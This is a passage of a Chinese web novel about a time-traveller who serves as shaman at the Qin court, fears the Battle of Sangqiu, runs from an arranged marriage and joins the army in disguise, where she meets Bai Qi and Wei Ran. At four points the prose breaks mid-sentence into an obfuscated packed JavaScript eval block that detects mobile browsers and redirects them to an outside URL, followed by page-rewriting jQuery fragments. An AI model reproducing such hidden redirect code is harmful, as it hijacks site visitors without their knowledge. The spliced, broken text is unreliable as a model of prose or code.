嬴华抬头,清澈的眼底居然涌起阵委屈,楚越一时哑然,正欲说些什么,下一瞬,嬴华的手掐上了她的脸颊,“脾气挺大啊,敢这么跟我说话。” 他手劲大,掐得楚越脸颊发红,楚越挣扎开,单手捂脸,照着嬴华就是一拳。 玄甲坚硬,楚越打上去,又猛地缩了回去,嬴华笑了,低声道:“哎,我不疼,一点都不疼。” 嬴荡见两个人打来打去,也加入了楚越的阵营,举起拳头,朝嬴华砸去,嬴华抓住嬴荡的手,顺势把他撂翻在楚越怀中。 楚越怕嬴华下手没轻没重,弄伤了嬴荡,抱起嬴荡,瞋了嬴华一眼。嬴荡却觉得好玩,挣开楚越的束缚,继续重复方才的行为,又被嬴华撂翻。 嬴荡哈哈大笑,嬴华挠他嘎吱窝,嬴荡一边大笑,一边求饶道:“公叔!” 这动静引得嬴驷侧目,他蹙眉,目光扫过三人,楚越觉察不对,当即站了起来,拉着嬴荡离开,嬴华转过身,低下头去。 楚越回头看了他一眼。 她大概知道嬴华在想什么,想那些城池。 想将士的浴血奋战。 想他死掉的兄弟和付出的鲜血。 他知道怎么做秦国有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374003|168255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 益,却也无法接受,二十多岁的年轻将领,心中还有着不死的良知。 嬴荡还没玩够,挣开楚越的手往前跑去,楚越笑着追了上去,两人一追一赶,嬴荡跑得太快,拐弯时一不留神迎面撞上了一个年轻女子。 孩子虽小,但被撞一下也不轻,女子被嬴荡撞到,捂着腹部,半天直不起腰。 楚越还未开口询问,侍女的耳光“啪”落到了她脸上。 “大胆。” 楚越被这一耳光打的懵了,捂着脸怔怔望着眼前打她的人。嬴荡虽然小,脾气却火爆,见楚越被打,抬起脚就往侍女身上踹,楚越眼疾手快将他拉了回来。 “你这婢女,怎么由得公子乱跑,夫人怀有身孕,出了什么纰漏,你担当得起吗?”侍女斥责道。 楚越后知后觉反应过来,这侍女应该是认出了嬴荡,却不好对他下手,于是转而将怒火发泄到自己身上。 但毕竟是自己和嬴荡嬉戏,才撞到对方。 而且对方还是孕妇。 “好了,她才多大,你为难她做什么。”女子制止了侍女继续为难楚越。 楚越扫了一眼那侍女,询问女子道:“夫人如何了,可要为夫人请医师?” 那年轻女子摆摆手,“没事,下次走路当心点,你都撞到我了,但本夫人大人有大量,这次就算了。” 嬴驷的后宫不少,楚越都有过一面之缘,但眼前女子,却完全没有印象,她生的十分貌美,不同于王后的内敛沉静,她的美是一种张扬而凌厉的美。 楚越见她们虽然都是秦宫装束,妆容却有所不同。 “你是楚国来的芈夫人?”她询问道。 侍女训斥道:“大胆,我们夫人宽宏大量,你不感恩戴德也就罢了,还这么无礼。” 楚越看了那侍女一眼,不想得罪这位宣太后,但这一巴掌也不能白挨,她对那侍女道:“你让我打一巴掌,这件事就算过去了。” 侍女愣住了,芈夫人也觉察楚越身份不一般,询问道:“你是什么人?” “我叫楚越,是秦国司巫。”楚越答道。 芈夫人惊了,“你就是传闻中的那个巫咸后人,那个司巫越。” 楚国也好巫风,巫咸后人入秦,芈夫人也楚国也有所耳闻,秦王为这位巫咸后人修天启阁,奉为司巫,六国以官职称之,便是司巫越。 “你...”芈夫人诧异的目光上下打量楚越,“怎么是个小姑娘。” 侍女的巴掌很干脆的落到了自己脸上,“司巫恕罪,是婢子有眼不识泰山。” 楚越抿唇,“就算我不是司巫,你也不应该打我。你打了我一巴掌,又打了自己一巴掌,我们两清,这件事就这么过去了。” 说罢,朝着芈夫人屈膝行了一礼,“冲撞夫人了,对不起。” 说罢,拉着嬴荡转身离开。 芈夫人望着楚越的背影,忽然笑了,“这个司巫是有点……与众不同的。” 将嬴荡送回寝宫,楚越便起身回天启阁,走在路上,脸上火辣辣的疼,那婢女手劲大得很。 芈夫人入宫,那她腹中应该是奋六世之余烈的第三位昭襄王,昭襄王奠定了秦国秋风扫落叶灭六国的基础,他之后两位秦王,一个当了三天一个当了三年,就轮到秦始皇上位。 楚越掰着指头算了算,八年,她来这个世界已经整整八年了。 8. 门 芈夫人很得嬴驷的宠爱。 魏王后常常望着院中的鲜花盛开和与楚越玩闹的嬴荡迎风流泪,后宫之中,得宠失宠,都是常事。 君王的心在哪里?楚越也不知道。 太复杂了这个问题。 嬴驷称王之后,后宫也立有等级,王后之下,有夫人、美人、良人、八子、七子、长使、少使等,芈夫人得宠,但位只在八子,王后依旧是王后。 她只能宽慰魏王后:“王后不要想太多了,你看荡公子多可爱。” 嫡长子嬴荡,是王后最大的依靠,想到嬴荡,王后拉紧了楚越的手,“对,还有荡儿。” 嬴华的夫人季孟夫人时常入宫,拜见王后。 季孟夫人和王后一样,温柔贤淑,大方得体,她和王后闲谈,无意提及嬴华常在军中,她一人在家孤单。 听到这里,楚越这个始作俑者,不由愧疚低头。 “盟三晋,借道伐齐,齐国国力强盛,我这心里总是不安。”季孟夫人道。 楚国大胜魏国,趁余威攻齐,齐国势单力孤,张仪见此良机,提出假道韩、魏以攻齐国,企图挫败齐国大国的威势。 朝中也有反对的声音,认为秦国和齐国不接壤,和齐国交恶,没有好处。但此时张仪风头正盛,反对的声音微弱,很快就被压了下去。 嬴驷派嬴华领兵,借道伐齐。 “司巫觉得呢?”季孟氏询问楚越道。 秦国和齐国并不接壤,故而两国很少爆发战争,惠文王时代,秦国的败仗也少,桑丘之战,是秦齐之间少有的战争,也是秦国少有的败仗。 这是一场会输的战争。 但战争的主导人是风头正盛的相国张仪。 楚越觉得自己应该保持沉默,她对季孟夫人笑了笑,什么也没说。 沉寂很久的念头,再一次浮现脑海,楚越满身是汗的从噩梦中惊醒,梦里,她又回到了现代,坐在书桌前,阅读枯燥的文献。 当她看清那几行密密麻麻的字,心陡然沉到了谷底。 是桑丘之战。 秦国没有多少败仗,尤其是能让领兵将领都战死的大仗... 月光从窗外照进,楚越双手抱膝,将脸埋进膝盖,历史不会为任何人改变,而且,对于一个靠着已知,投机于君王的司巫而言,她会丧失对自己命运的掌控。 她害怕。 轺车在一座府邸前停下,嬴华的府邸楚越并非第一次来,但还是规规矩矩跟着季孟氏,由她将自己引到了书房,“夫君,司巫来了。” “不见,谁来都不见。”书房内,嬴华的声音暴躁。 主张不对齐作战的,就是嬴华,但显然,他的建议没有被君王采纳。 楚越摇了摇头,从袖子里掏出手绢,平铺在台阶上,一屁股坐了下去。 季孟氏不解,楚越说:“我坐在这等等。” 隔着一扇门,楚越坐在台阶上,背后是一扇不会开的门,她希望这门开,但又害怕这门打开。 季孟氏离开了书房,将这里留给了楚越。 月上柳梢,楚越的屁股都坐麻了,背后那扇门依旧没有开,楚越望着天,心里想着,等月亮到柳树最上边了,她就不再等了。 月亮到了正空,楚越还坐在门口。 季孟氏委婉的劝过她,都被楚越直拒了。 门,还是开了。 夜晚寂静,簌簌的衣料摩擦声显得格外清晰,楚越明显感觉到了嬴华的衣服拂过她手背的轻柔,她目不转睛的盯着正前方,直到整理好情绪之后,才转过头去看他。 一扭头,对上嬴华一双漆黑的眸子。 他坐在楚越身边,单手撑腮,眉头微蹙,认真的打量着楚越。 被这样认真的望着,楚越的心忽然漏了一拍,呼吸也好像被人扼住,她不自觉的深吸一口气,问道:“为什么这样看着我?” “我觉得你很奇怪。”嬴华直言不讳,“你为什么要等我?” “我觉得如果我不开门,你就会一直等下去。”嬴华垂眸,眼底神色有些复杂,“你总这么奇怪,又倔强。” “不!”楚越否定道,“我正准备走。” 为了圆自己的说辞,楚越甚至站了起来,可她到底没有走,嬴华仰首,上下打量了一下楚越。 十三岁的少女,脸上还残存着未脱稚气,藕合色的锦裙合身,黑发如漆,光泽照人。 嬴华低下头,“我记得打义渠那一次,你就在宫门口,等我等到了天黑。”嬴华挑眉,一抹淡淡的笑意浮现在他的脸上。 “我记得那个时候,你还没有我一半高。” 嬴华抬手,在空中比划了下。 “……”楚越最恨嬴华提过去。 她一屁股坐了回去,又觉得生气,抬手就在嬴华肩上锤了一拳,“你烦死了,不许提我以前的事情!那都是过去的事情了,我现在长高了。很高。” 她现在少说有一米六了。 十三岁一米六,将来还有很大的进步空间。 嬴华难得顺着楚越,而非继续挑衅,“好好好,不提,不提,你找我做什么,不会是来劝我的吧?” 楚越困惑道:“我劝你什么?” “他们都劝我,相国风头正盛,又是个小气的人,楚国昭阳污蔑他窃玉,他就将檄文挂在出使的车驾上。”说到这里,嬴华笑了下,没有继续说下去,而是侧首看向楚越。 “你来,也是和他们说一样话的吗?应该不是。” 嬴华自问自答,“那你来要和我说什么?” “我...”楚越不受控制的想要将那些话说出。 她严肃对上了嬴华的眼眸,“你不要轻敌。” 嬴华眉头一皱,厌烦的别开目光,“不用你教我怎么打仗,神神叨叨的,你知道我不信的。” 楚越轻叹口气,“你自己琢磨吧,我走了。” 嬴华也站了起来,“你还说不是来劝我的,你难道就赞同对齐作战吗?那你为什么不劝谏君上?” “我能说得过张仪吗?”楚越怒了,她根本辩驳不过张仪,再让张仪诡辩拆穿,岂非得不偿失。 她不能冒这个险。 嬴华看着眼前楚越,压下怒气,“我一出来你就要走,难道我会打你不成?” 楚越语塞,“你不会打我吗?你以前....总逗我。” 轮到嬴华说不出话了,“我只是吓吓你,谁真的要打你了。逗逗孩子,你还当真了?” 他再一次提到了孩子。 他们过去的一切,就是在哄孩子玩,而已。 “谁知道呢!你这么大个将军,真的把我打了,我也没有还手之力。”楚越冷冷说完,就要离开。 手腕却被嬴华抓住,他‘嘶’的吸气,“你这女娃,还挺能记仇。来,陪我坐会儿。” 月色皎洁,照得天地间一片空明,柳树在地上投下淡淡阴影,楚越与嬴华坐在台阶上,共观天空群星璀璨。 他们都没有说话,只是静静地并肩而坐。 嬴华望着月亮,长叹口气,叹息声引得楚越侧首,脑海中浮现过无数张脸来。 明朗少年,踩着夕阳朝她而来,踏破她无边的孤寂,楚越第一眼看到嬴华的时候,就希望他能停下来。 桑丘之战…… 楚越还是忍不住,打破了这安静,“嬴华,一定不要轻敌。” 即使知道嬴华不愿意听,不想听,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374004|168255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是楚越还是忍不住说,“不要轻敌。” 她一连说了两遍,嬴华无奈,侧首望向她,“我听见了,不轻敌,我不轻敌!” 楚越望着嬴华的眼睛,目光陡然哀伤,“你真的会听我的话吗?” 嬴华迟疑了下,“听。” 她低下头,盯着不远处二人离得很近,几乎要重叠的影子,眼前渐渐模糊。 回到天启阁,她一口气吃了很多东西,一直到感觉到胃胀得再塞不下,才停下往嘴里塞东西。大鱼大肉之后,她立刻上床睡觉。 次日清晨,楚越打了个酸味十足的嗝,约莫到了黄昏时分,她的身上开始热了起来。 小孩子积食就会发烧。 她得和桑丘之战划清界限,装病可耻,但实在有效,王后很担心她,衣不解带,不断用凉水擦拭她高温的皮肤,楚越烧得头昏脑涨,看着王后那张温柔的脸,脑中不由恍惚。 烧退之后,她昏昏沉沉的睡了过去。 楚越这一病就是一个多月,这得感谢那堆乌黑的药和意见不一的国医,没有他们,楚越的积食发烧早好了。 桑丘之战,秦军大败于齐。 但嬴华无碍,只是秦军损失不少。 此战大败,秦与齐楚会盟于宋国啮桑,达成同盟,暂时休战,秦国继续与齐国连横,而张仪因桑丘之战功不抵过,有被罢免的危机。 礼品放在桌上,张仪道:“司巫抱病,本应早来探望,只是公务繁忙,一直不得空。” “相国,你说这么多,也不怕我听不懂,还请开门见山。”楚越莞尔。 “司巫,我知道你一向与公子华将军交好,还请你出手。” 嬴华原本就对张仪攻齐不满,提出反对意见,现在秦军大败,他压抑已久的不满在这一瞬爆发,当即站出来,攻讦张仪。 嬴驷的另一个兄弟公子繇(yao三声)【1】也站了出来。 当时张仪与魏换地,为表秦国诚意,提出让公子繇为质魏国。嬴驷同意了,能得土地,别说弟弟,儿子他都能送出去为质。 此举利秦,但不利公子繇,幸而,魏王只要蒲阳,不要公子繇。 公子繇记恨张仪,恨得牙痒痒。 两位王弟一开口,大臣们也都跳了出来,那些嫉妒张仪、想取而代之的,厌恶张仪,和他政见不同的,全披上为国的幌子,争相攻击他。 楚越指着自己的鼻子,问道:“我?我能劝动公子华?相国未免太高看我了。” “况且,我劝得了公子华,公子繇可不会善罢甘休。” 嬴繇十六岁,正是青春叛逆期,报复心极强。 楚越曾听见嬴繇和同伴说,他要张仪好看。 张仪苦笑,“连求诸鬼神都无用,看来我这相国是当到头了。” “相国可不像轻言放弃的人。” 张仪笑了,目光落到桌案上翻开的竹简,是《诗.召南.摽有梅》,他有些意外,上下打量楚越一眼。 “司巫也有庶吉士思念吗?” 楚越合上书,“我不思念庶吉士,相国走了,我会思念你的。” 张仪抬眸,“司巫还是莫要念我这糟老头子,既然留不住,不如走之前,做件好事,司巫的庶吉士是谁?” 楚越不说,张仪自己猜了起来。 “司巫在宫中,见到的人不多,你想做王妃?”张仪猜测道。 楚越立刻摇头,“怎么可能!” “你这不识货的!”张仪听说楚越不想做王妃,“当今君上英明神武,是个不可多得的明君,你居然不喜欢。” 楚越无语,“君上英明神武,我焉敢肖想。” “你喜欢公子华将军?”张仪脱口而出。 9. 逃婚 楚越一愣,反问道:“你为什么不先猜嬴疾?” 张仪眼珠一转,“那你喜欢公子疾?” 楚越摇头,否定道:“不是。” “那就是公子华。” “不是。” “白将军?” “不是。” “王将军。” “不是。” 张仪一个名字一个名字的报,楚越一一否定,他实在想不出了。 “秦国有些名头的都在这儿了,你难不成喜欢的是些寻常男子?不会吧,司巫也不像有眼疾之人。” “当然不是!” 张仪对楚越一揖,“那还请司巫给在下一个明示。” “我还小,哪有什么庶吉士思念。” 张仪又仔细想了想,笃定道:“是公子华将军。” “不是。”楚越本能反驳,“他娶妻了。” 后半句解释过于拙劣,张仪笑了。 “公子王弟,三妻四妾也是平常,以司巫的地位和君上对司巫的重视,就是要季孟夫人让贤,也未尝不可。” “即便做不了正室,秦人没有非要立嫡长的风俗,几代先公,都不是嫡长,司巫亦可取而代之。司巫与公子情谊深厚,想来取嫡不过翻掌,轻而易举。” 张仪是个乐于争取、积极上进的人,“若司巫有意,我可为司巫保媒。” 楚越沉默了,良久,她告诉张仪,“我不嫁给嬴华。” “婚事不同于相位,说能抢到手,就能抢到手,相国还是另寻出路吧。” “既然如此,张仪就不多说了,司巫,张仪先与你道别了。” 秦国大败,为了缓和与齐、楚关系,三国在蘖桑会盟,秦国重新和齐国修好,并修改了对齐之策,决定先将这个强大的远国放在一旁,专心控制三晋。 为化解被罢相的危机,张仪“欲令魏先事秦而诸侯效之“的理由主动请缨免相,返回魏国,靠着在秦国的威势,成为魏国宰相,以达到控制魏朝秦的效果。 回到魏国的公孙衍第二次被张仪截胡相位。 公孙衍:哔—— 张仪连横,公孙衍就合纵。 在张仪成为魏国丞相当年,公孙衍合魏、赵、韩、燕、中山“五国相王“,广结与国,合纵抗秦。 好一对冤家。楚越想。 但现在她没空感慨于这对冤家的爱恨情仇,更大的问题摆在她面前。 十四岁,马上就到加笄之年。 女子十五及笄婚嫁,嬴驷与王后对楚越的终身大事很上心,开始给她看秦国宗室子弟的画像。 楚越来历不明,自称巫咸后裔,却没有确凿证据,嫁予寻常贵族,嬴驷怕她吃亏,索性让她嫁给嬴氏子弟。以楚越对秦国的贡献,娶他的嬴氏子弟应该会善待她。 但楚越以为,生命诚可贵,爱情价更高,不接受包办婚姻是她最后的底线。 她大着胆子跟嬴驷说她不嫁。 谁料话才说出口,耳朵就被人抓住,嬴驷大声道:“你再说一遍?” 不嫁就是不嫁。 她的拒绝没有任何作用,一堆老熟人的画像拿到了面前。 王弟公子繇。 十六,和楚越年纪相当。 但凡嬴繇长得有一点像嬴华,她就大搞替身文学了,但,奈何他一点也不像啊。 楚越再往下看,一个更熟悉的人,映入眼帘。 嬴轩。 像是像了点。 但他这个年龄,是怎么挤进这个赛道的?他的夫人知道这件事吗? 楚越是参加过嬴轩婚礼的,见过他那位出身魏国宗室的夫人。 王后见她盯着嬴轩的画像出神,悄悄打量了眼她的神情,轻声道:“他的未婚妻前不久亡故了。” 嬴轩比楚越大十岁,原聘魏宗女为夫人,过门不到数月便离世,他便成了鳏夫,续娶的夫人,还未过门便因病离世。 接连两位夫人都早亡,嬴轩是有点克妻在身上的。 “嬴轩虽是鳏夫,但两位夫人都无子,无异头婚,他是公孙,兄长又执掌咸阳卫戍,并不迅于公子。” 楚越看向王后,“我能不嫁人吗?” 王后只是笑,“哪有女子不嫁人的。” 楚越闷闷不乐,愁眉紧锁,眼下除了逃婚,她想不出什么好办法。 可是跑,她往哪儿跑? 离开如日中升的秦国,去夕阳西下的他国,多愚蠢啊,就在她面对一堆画像,叹息连连之际,有内侍来请她。 “司巫,大王有请。” 楚越狐疑的跟着内侍去见嬴驷,嬴疾、嬴华也在,对手足兄弟,嬴驷还是很信任的。 见楚越来了,嬴驷道:“好了,可以走了!” “去哪儿啊?”楚越摸不着头脑。 “到了就知道了!”嬴华神秘兮兮道。 马车已经准备好,楚越跟着嬴华上了一辆车,嬴华为她驾车,马车缓缓驶出王宫,在一排连绵的建筑前停下。 “这是哪儿?”楚越问道。 “是铸造坊。” 战国时期几乎没有私人的冶炼坊,只有官营,而王宫铸造坊则是官营中最大的冶炼坊。他们承担着为前线制作武器的重任,规模十分庞大。 嬴驷对武器铸造十分重视,不时前来视察。 “君上来视察武器制作吗?那叫我来干嘛啊!” “别问,快跟上君上!”嬴华搡了她一把。 嬴驷已经从马车上下来,径直入了铸剑坊,嬴疾护卫在侧,楚越嬴华二人跟着他的步伐,进入了铸剑坊内部。 炉火旺盛,阵阵热浪迎面而来,烧红的铁伸入水中,沸腾起一股白色水汽。 这里又闷又热,楚越还没进到里面就满头大汗。 一把剑铸成,被工匠呈给嬴驷,三人对此赞叹不绝,楚越根本看不懂,冷兵器时代的武器,在她眼里都可以统称为‘铁疙瘩’。 嬴华扬起下巴,指了指铸造师手中的剑,“这是君上给你及笄准备的礼物,此剑历时大半年,今日方才铸成,还不快谢过君上。” 楚越惊讶的望着那剑,“这是给我的吗?” 嬴驷严肃道:“我大秦女儿,巾帼英雄,也常常配剑。剑者,君子之器,也可用作自保使用。你已经到及笄之年,要长大成人了,不是个小孩子了,切不可再像以前一样,胡作非为。” 剑者,可以用来自保,这或许才是嬴驷送她剑的真正含义,楚越心头一暖,“君上。” 嬴驷哼了一声,“秦法森严,拔剑之前要想清楚。” “我可以在剑上刻两个字吗?” 嬴华来了兴趣,“你要刻什么字?” 布帛上留下两个歪歪扭扭,不知道是什么字的字。 “你写的这是什么?”几个人瞅了半天,也没有认出。 楚越莞尔,“秘密。” 宝剑交到楚越手中次日,嬴轩就上门下聘,楚越看着满院子的聘礼,连夜换了套男装,背上包袱挎上剑,趁着朦胧夜色,跑出了咸阳城。 过秦关隘需要文书符节,楚越早未雨绸缪,准备好了另一个用来跑路的身份,原本是想万一在秦国混不下去了,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她摸了摸身边的剑,耳畔却响起教习的三令五申,“禁私斗,初犯五十军棍,再者枭首。” 还有点饭,兑点眼泪就是一碗粥,楚越也就失去了和那些人同归于尽的想法。 “你这剑不错,我看看。” 楚越手中一空,同队的诙顺手不由分说抢走了她手里的剑,诙在空中比划了一下,蛮横道:“剑不错,归我了。” 二十多岁的诙,杀过敌,有公士爵,他不是同队中最强,却因和另外两个公士以同乡身份结成同盟,共同进退,而与队中高爵几人分庭抗礼。 他们每天从队里无爵人手中拿走一部分食物,出头者半夜被按在被子里一顿毒打,慑于三人团体的武力,大家都默不作声。 楚越没有同乡,一人落单,又是没根基的小兵,最好下手。 她默念私斗犯法。 忍! 我忍! 诙拿着剑扬长而去。 楚越:我忍者神龟! 半夜,营帐中鼾声震天,震耳欲聋,此起彼伏的呼噜声汇聚在一起,魔音贯耳。 楚越蜷缩在角落,痛苦的捂住耳朵,魔音钻过手掌,挤进她的耳中,夹杂着令人作呕的汗臭气息。 她决定明天就回去。 她受不了了,她要死了。 嬴轩就嬴轩吧,只要嬴轩晚上睡觉不要打呼噜。 明天就回去,她这样想着。 10. 打架 肚子咕咕的叫。 饥饿是所有痛苦里面最难捱的,连续两个月来,楚越都处在一种半饥饿的状态下。 果腹的食物不足支持她每日繁重的训练,加之夜晚的呼噜声吵得她夜不能寐,楚越整个人瘦了一圈,十分憔悴。 明天就回王宫!楚越第六十次如此想道。 楚越饿的前胸贴后背,人到饥饿的边界,也管不上什么军纪森严。她偷偷下床,朝厨房摸去。 只要没被人发现,算什么违反军纪。 厨房里一片漆黑,楚越不敢点灯,只敢一点点摸索。 灶壁温热,还保留着明日生火的火种,楚越知道有门,她曾经见诙晚上拿钱跟人换吃的,肉上浮着一层灰,应该就是从炉膛里掏出来的。 楚越也想拿钱换,奈何他们怕事情泄露,只做熟人生意,跟她装大秦守法好士卒。 未灭的火石在灰烬中不易觉察,指尖一疼,楚越迅速将手缩了回来,捡了根小木棍,在灰里翻刨,她心里只想着肉,丝毫没注意到朝自己逼近的黑影。 来人一把扑在楚越身上,沉重的身躯将她压在地上,楚越猝不及防,一头扎进灶门口前灰坑。灰涌进口鼻,楚越不断咳嗽,舌尖一片涩感。 那人反剪楚越双手在背,对同伴道:“抓到个细作,你去点灯。” 楚越眼里嘴里都是灶灰,她睁不开眼睛,一边呸呸往出吐嘴里的灶灰,一边含糊不清的解释:“我不…是细作!不是。” 那人不听她狡辩,单手制住楚越手腕,空出一手在她身上摸索,检查她是否携带危险武器。 从两腰间开始,一点点往上,眼看就要摸到肋骨往上,楚越急了,开始剧烈挣扎,那人用力按住楚越。 “不许动!” 那只罪恶的手落到了楚越肋骨上,十五岁还未发育健全,又用布帛认真缠过,平素看起来外观与男子无异,但实际上还是有区别的。 那人摸到了异样,用力捏了一下。 楚越吃痛,叫了一声。 怀中的异样引起了那人的警觉,他以为楚越怀里揣了东西,想弄清楚她到底携带了什么,手从楚越的衣襟伸入,触手可及,是麻布的柔软细腻,一层裹着一层。 “地图?”他听到那人小声说了句。 地@#的图! 一豆幽暗的光明驱散黑暗,他的同伴点亮了油灯,才阻止了那人继续撕扯她裹胸的动作。 他收回手,将楚越从地上拽了起来。 “哟,还有意外收获!”同伴很兴奋,举着油灯凑近了楚越,一只手抬起楚越的下巴,擦干净她脸上的灶灰,想看看这细作到底长什么样子。 就着这微弱的灯火,楚越看清了面前两人的脸,面前两人都不过十六七岁,钳制住她这个人,一脸严肃,谨慎盯着他,而另一个人,眼里带着戏谑的打量。 “好笨的细作。” “我不是细作。”楚越辩解道。 “那你鬼鬼祟祟做什么?”那个严肃的少年逼问她道。 楚越没好气答道:“偷吃的。饿。” “那你怀里揣的什么?”严肃少年质问道。 楚越深吸口气,猛地窜起来,坚硬的后脑一头撞向身后人的鼻梁,手上的束缚松了,她抬起一脚,直踹面前人两腿之间,两声惨叫接连响起,油灯掉到了地上,厨房陷入一片黑暗。 军训学到的技术,朴实无华。 楚越挣开两人,一头往厨房外跑去,但是路太黑,她才跑出没有两步,就一头撞上片坚硬,不是门,是墙。 不对,她不是看清了吗? 楚越摸索着起来,两行咸腥流进嘴里。 黑暗中,一只手抓住了她的后领衣领,“别想跑!” 听声音,是那个严肃少年。 她条件反射给了这人一肘,对方也当仁不让回敬她一脚,不多时,他的同伴也循声摸过来了。黑暗中,分不清敌我,有拳脚落在楚越脸上,她也乱打乱踹回去。 厨房的嘈杂引来巡逻的士兵,三个满脸是血,又掐着对方不松手的人被带到了将领面前。 “都尉,他是细作,我们查营归来路上,看到他鬼鬼祟祟摸进厨房,说不定要给大军下毒。都尉你看,这是从她身上找到的,这不是寻常物品。” 都尉? 除了直系领导,从前是秦王王后,现在是伍长、什长,一个往下三级,一个往上三级,再多她就不认识了。 楚越只看过关于商鞅变法时的军制与秦始皇时代国尉缭在《尉缭子》里写的秦军编制。 她刚好穿中间了.... 秦是征兵制【1】为主,以地域集成兵团,尉是武官,平常统领一地军队。国尉为一国最高武职,郡有都尉,县有县尉。 但问题在于,秦的军制很复杂,作战时,除了野战军,也会抽调地方军,野战军也有尉,楚越也不知道这个都尉,到底哪儿的尉。 如果她是募来的常备兵,或许,这是野战军的都尉?裨将或者庶长的副手。 这官还不小。 严肃少年向都尉呈上了证据,是楚越的野猪牙。 混乱中,她的衣襟被扯乱,藏在里面的野猪牙露了出来,严肃少年眼疾手快,一把将它扯了下来,细绳勒得她脖子生疼。 都尉听属下有理有据,谨慎接过了那串野猪牙,看到野猪牙,都尉一惊,当即走上前查看。 自己有错在先,楚越一时百口莫辩,手臂被少年的同伴抓住,挣脱不得,偷袭的方法,显然不适用于人多。 就在她思索脱身之法时,都尉却朝她走了过来,火把靠近,照亮两张脸,四目相对,楚越与对面的都尉,一时都瞪大了眼睛。 “是你!”两人异口同声道。 “白起、魏冉,她不是细作,快放开她。”都尉道。 “不是细作?”白起一愣。 魏冉松开手,眼睛转了下,询问道:“都尉认识她?” “啊....”都尉语塞,“这是....我一个同乡。” 楚越看向都尉,认出对方是那个送他野猪牙的‘猎人兵马俑’。 几年不见,他成了都尉。 身上的手松了,楚越捂着胸口蹲到地上。 痛,太痛了,尚在发育的胸脯脆弱的像两颗鸽子蛋,束胸本就疼痛,还被人蹂躏一把。 楚越脸火辣辣的,说不清是羞的还是疼的。 “她不是细作,最多。” ‘猎人兵马俑’看了楚越一眼,“最多是个偷吃的毛贼。” “毛贼啊。”白起恍然大悟,“按军法,偷盗食物者,五十军棍!” “什么?不是我,我还没有偷到呢!”楚越噌的一下从地上站了起来,“真的不是我,我是第一次来偷。” 没偷到,还要挨五十军棍? “那你怀里是什么?”白起质问道。 楚越脸一红,下意识抱胸,“没有,什么也没有。” 见白起神情,他显然不信,楚越一闪躲到‘猎人兵马俑’身后,白起看向都尉,义正言辞道:“她怀里有东西。” 都尉瞪大了眼睛,“你搜她身了?” 白起点了点头,“我方才以为他是细作。” “你是挨五十军棍,还是说实话。”都尉问楚越道。 “没错!”楚越视死如归,“那是我偷的东西,打吧。” 见她如此固执,都尉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374006|168255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸色逐渐难看,口气也变得严肃起来,“你来这儿,家里知道吗?你兄长知道吗?” 楚越垂眸,她当然知道都尉说的‘兄长’是指嬴华。 “不知道,我是偷偷来的。” 都尉白了她一眼,对白起和魏冉道:“你们俩把她看住,不要让她乱跑。” “是,都尉。” 两人奉命,看守楚越。 白起铺开充作床铺的干草,三个人坐在草堆里,一声不吭,魏冉看了眼白起,白起看向魏冉,两人你推我推,魏冉先开口问道:“喂,你叫什么?” 楚越看过去,此时的穰侯还没有发迹,成为大秦的相国,但也已经展露出不凡。秦军区分等级,最直观的就是甲胄,甲是身上的护具,胄是头上的护具。 高级兵装备肯定好过小兵,这是毋庸置疑的。 魏冉和白起都带着冠,和楚越偏髻上罩的黑色小帽完全不同,是立体代表身份的冠。魏冉戴双板长冠,白起是单板,黑色的冠带在下颌系结。 冠下头发也编的繁琐,和初级公士、上造的发型完全不同。 他们应该是初级军官,而非大头兵。 毕竟,魏冉姐姐是芈夫人。 那白起呢?楚越不由想道。 “喂,我问你话呢。”魏冉有些不耐烦,楚越回过神来。 我不叫喂。 我叫...楚... “张立春。”楚越应道。 魏冉‘哦’了声,“你是秦人吗?” “算吧。”楚越也说不出自己算什么人。 原主应该是魏人,那她是..... 魏?秦? 不,她算中国人。 “我叫魏冉,是楚人,他叫白起,是秦人。” 白起朝楚越微微颔首,一笑泯自己颧骨被撞得青紫的恩仇,他耳后还有道血痕,是楚越指甲刮的。 楚越看了看自己的拳头,心想这只手出息了! 打过天下名将,还扇过一代权臣。 “我们也算不打不相识,刚才都是误会,我们以为你是细作,你不要往心里去。”魏冉豪爽道。 白起也附和道:“是,无心之举,请小兄弟宽宏大量。” “你是秦人?”楚越看向白起。 